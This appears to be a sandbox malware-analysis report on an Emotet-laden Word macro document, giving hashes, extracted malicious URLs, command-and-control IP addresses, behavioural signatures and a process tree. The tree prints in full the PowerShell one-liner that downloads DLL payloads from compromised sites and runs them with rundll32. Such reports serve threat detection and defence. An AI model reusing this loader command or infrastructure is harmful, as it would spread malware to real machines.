Analysis
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max time kernel
139s -
max time network
161s -
platform
windows10-2004_x64 -
resource
win10v2004-20220331-en -
submitted
04-04-2022 03:38
Static task
static1
Behavioral task
behavioral1
Sample
pbizmvcj.docm
Resource
win7-20220331-en
General
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Target
pbizmvcj.docm
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Size
140KB
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MD5
391dca4cf91ae12aa1b5ac9d0ac3ec41
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SHA1
47cfcf587d838f68a8f8df53ea3afae475436992
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SHA256
06012c700c1dac4c122303e920fdf1c71c41e681673c241c9698e5766df275a8
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SHA512
de299156048c8cb81fe9a5e839442347d118b9de47b353500647a73d4b97f010dcef6d6eb3c7ee9b04874010efd0b9f3b8790f8f9013a47271528eaed1be0c41
Malware Config
Extracted
https://evgeniys.ru/sap-logs/D6/
http://crownadvertising.ca/wp-includes/OxiAACCoic/
https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/
http://immoinvest.com.br/blog_old/wp-admin/luoT/
https://yoho.love/wp-content/e4laFBDXIvYT6O/
https://www.168801.xyz/wp-content/6J3CV4meLxvZP/
https://www.pasionportufuturo.pe/wp-content/XUBS/
Extracted
emotet
Epoch4
91.200.186.228:443
191.252.196.221:8080
94.177.248.64:443
66.42.55.5:7080
103.8.26.103:8080
185.184.25.237:8080
103.8.26.102:8080
178.79.147.66:8080
58.227.42.236:80
45.118.135.203:7080
103.75.201.2:443
195.154.133.20:443
45.142.114.231:8080
212.237.5.209:443
207.38.84.195:8080
104.251.214.46:8080
212.237.17.99:8080
212.237.56.116:7080
216.158.226.206:443
110.232.117.186:8080
158.69.222.101:443
107.182.225.142:8080
176.104.106.96:8080
81.0.236.90:443
50.116.54.215:443
138.185.72.26:8080
51.68.175.8:8080
210.57.217.132:8080
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 4764 5076 cmd.exe WINWORD.EXE -
Blocklisted process makes network request 25 IoCs
Processes:
powershell.exerundll32.exeflow pid process 11 3328 powershell.exe 15 3328 powershell.exe 29 3328 powershell.exe 31 3328 powershell.exe 32 3328 powershell.exe 36 3328 powershell.exe 38 3328 powershell.exe 39 3328 powershell.exe 40 3328 powershell.exe 41 3328 powershell.exe 48 3328 powershell.exe 53 3328 powershell.exe 54 3328 powershell.exe 55 3328 powershell.exe 56 3328 powershell.exe 59 3328 powershell.exe 77 3328 powershell.exe 90 3328 powershell.exe 103 3328 powershell.exe 113 3328 powershell.exe 115 4540 rundll32.exe 116 4540 rundll32.exe 117 4540 rundll32.exe 118 4540 rundll32.exe 119 4540 rundll32.exe -
Downloads MZ/PE file
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Loads dropped DLL 4 IoCs
Processes:
rundll32.exerundll32.exerundll32.exerundll32.exepid process 1668 rundll32.exe 3064 rundll32.exe 2148 rundll32.exe 4540 rundll32.exe -
Drops file in System32 directory 1 IoCs
Processes:
rundll32.exedescription ioc process File opened for modification C:\Windows\SysWOW64\Jaulgssqiz\pscgxizofjssxvn.rsu rundll32.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 5076 WINWORD.EXE 5076 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exerundll32.exepid process 3328 powershell.exe 3328 powershell.exe 4540 rundll32.exe 4540 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 3328 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
Processes:
WINWORD.EXEpid process 5076 WINWORD.EXE 5076 WINWORD.EXE 5076 WINWORD.EXE 5076 WINWORD.EXE 5076 WINWORD.EXE 5076 WINWORD.EXE 5076 WINWORD.EXE -
Suspicious use of WriteProcessMemory 16 IoCs
Processes:
WINWORD.EXEcmd.exepowershell.exerundll32.exerundll32.exerundll32.exedescription pid process target process PID 5076 wrote to memory of 4764 5076 WINWORD.EXE cmd.exe PID 5076 wrote to memory of 4764 5076 WINWORD.EXE cmd.exe PID 4764 wrote to memory of 3328 4764 cmd.exe powershell.exe PID 4764 wrote to memory of 3328 4764 cmd.exe powershell.exe PID 3328 wrote to memory of 1668 3328 powershell.exe rundll32.exe PID 3328 wrote to memory of 1668 3328 powershell.exe rundll32.exe PID 3328 wrote to memory of 1668 3328 powershell.exe rundll32.exe PID 1668 wrote to memory of 3064 1668 rundll32.exe rundll32.exe PID 1668 wrote to memory of 3064 1668 rundll32.exe rundll32.exe PID 1668 wrote to memory of 3064 1668 rundll32.exe rundll32.exe PID 3064 wrote to memory of 2148 3064 rundll32.exe rundll32.exe PID 3064 wrote to memory of 2148 3064 rundll32.exe rundll32.exe PID 3064 wrote to memory of 2148 3064 rundll32.exe rundll32.exe PID 2148 wrote to memory of 4540 2148 rundll32.exe rundll32.exe PID 2148 wrote to memory of 4540 2148 rundll32.exe rundll32.exe PID 2148 wrote to memory of 4540 2148 rundll32.exe rundll32.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\pbizmvcj.docm" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5076 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start /B powershell $dfkj="$strs=\"https://evgeniys.ru/sap-logs/D6/,http://crownadvertising.ca/wp-includes/OxiAACCoic/,https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/,http://immoinvest.com.br/blog_old/wp-admin/luoT/,https://yoho.love/wp-content/e4laFBDXIvYT6O/,https://www.168801.xyz/wp-content/6J3CV4meLxvZP/,https://www.pasionportufuturo.pe/wp-content/XUBS/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"C:\ProgramData\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"C:\Windows\SysWow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4764 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell $dfkj="$strs=\"https://evgeniys.ru/sap-logs/D6/,http://crownadvertising.ca/wp-includes/OxiAACCoic/,https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/,http://immoinvest.com.br/blog_old/wp-admin/luoT/,https://yoho.love/wp-content/e4laFBDXIvYT6O/,https://www.168801.xyz/wp-content/6J3CV4meLxvZP/,https://www.pasionportufuturo.pe/wp-content/XUBS/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"C:\ProgramData\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"C:\Windows\SysWow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3328 -
C:\Windows\SysWow64\rundll32.exe"C:\Windows\SysWow64\rundll32.exe" C:\ProgramData\1317091959.dll,f15515764114⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1668 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\1317091959.dll",Control_RunDLL5⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:3064 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Jaulgssqiz\pscgxizofjssxvn.rsu",hzSilq6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2148 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Jaulgssqiz\pscgxizofjssxvn.rsu",Control_RunDLL7⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
PID:4540
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
252KB
MD503cf2b47f1e3c28f53d18d95aacbe545
SHA17ddab9ffa7c1a7f35e4ef64bb4b6a0b5a297c5d4
SHA256338fee41186fbb5d35a973843ae1a77138bd2102475d81405b64b4c800a7b149
SHA512736f631ef6f6460b618fa56db2717aac073dd4a36c652f994c28dca1fcaed3d88350c91f29c7500e9063e316f83a27282f2c1ed7f4bb372f2acc82d772a69f55
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Filesize
252KB
MD503cf2b47f1e3c28f53d18d95aacbe545
SHA17ddab9ffa7c1a7f35e4ef64bb4b6a0b5a297c5d4
SHA256338fee41186fbb5d35a973843ae1a77138bd2102475d81405b64b4c800a7b149
SHA512736f631ef6f6460b618fa56db2717aac073dd4a36c652f994c28dca1fcaed3d88350c91f29c7500e9063e316f83a27282f2c1ed7f4bb372f2acc82d772a69f55
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Filesize
252KB
MD503cf2b47f1e3c28f53d18d95aacbe545
SHA17ddab9ffa7c1a7f35e4ef64bb4b6a0b5a297c5d4
SHA256338fee41186fbb5d35a973843ae1a77138bd2102475d81405b64b4c800a7b149
SHA512736f631ef6f6460b618fa56db2717aac073dd4a36c652f994c28dca1fcaed3d88350c91f29c7500e9063e316f83a27282f2c1ed7f4bb372f2acc82d772a69f55
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Filesize
252KB
MD503cf2b47f1e3c28f53d18d95aacbe545
SHA17ddab9ffa7c1a7f35e4ef64bb4b6a0b5a297c5d4
SHA256338fee41186fbb5d35a973843ae1a77138bd2102475d81405b64b4c800a7b149
SHA512736f631ef6f6460b618fa56db2717aac073dd4a36c652f994c28dca1fcaed3d88350c91f29c7500e9063e316f83a27282f2c1ed7f4bb372f2acc82d772a69f55
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Filesize
252KB
MD503cf2b47f1e3c28f53d18d95aacbe545
SHA17ddab9ffa7c1a7f35e4ef64bb4b6a0b5a297c5d4
SHA256338fee41186fbb5d35a973843ae1a77138bd2102475d81405b64b4c800a7b149
SHA512736f631ef6f6460b618fa56db2717aac073dd4a36c652f994c28dca1fcaed3d88350c91f29c7500e9063e316f83a27282f2c1ed7f4bb372f2acc82d772a69f55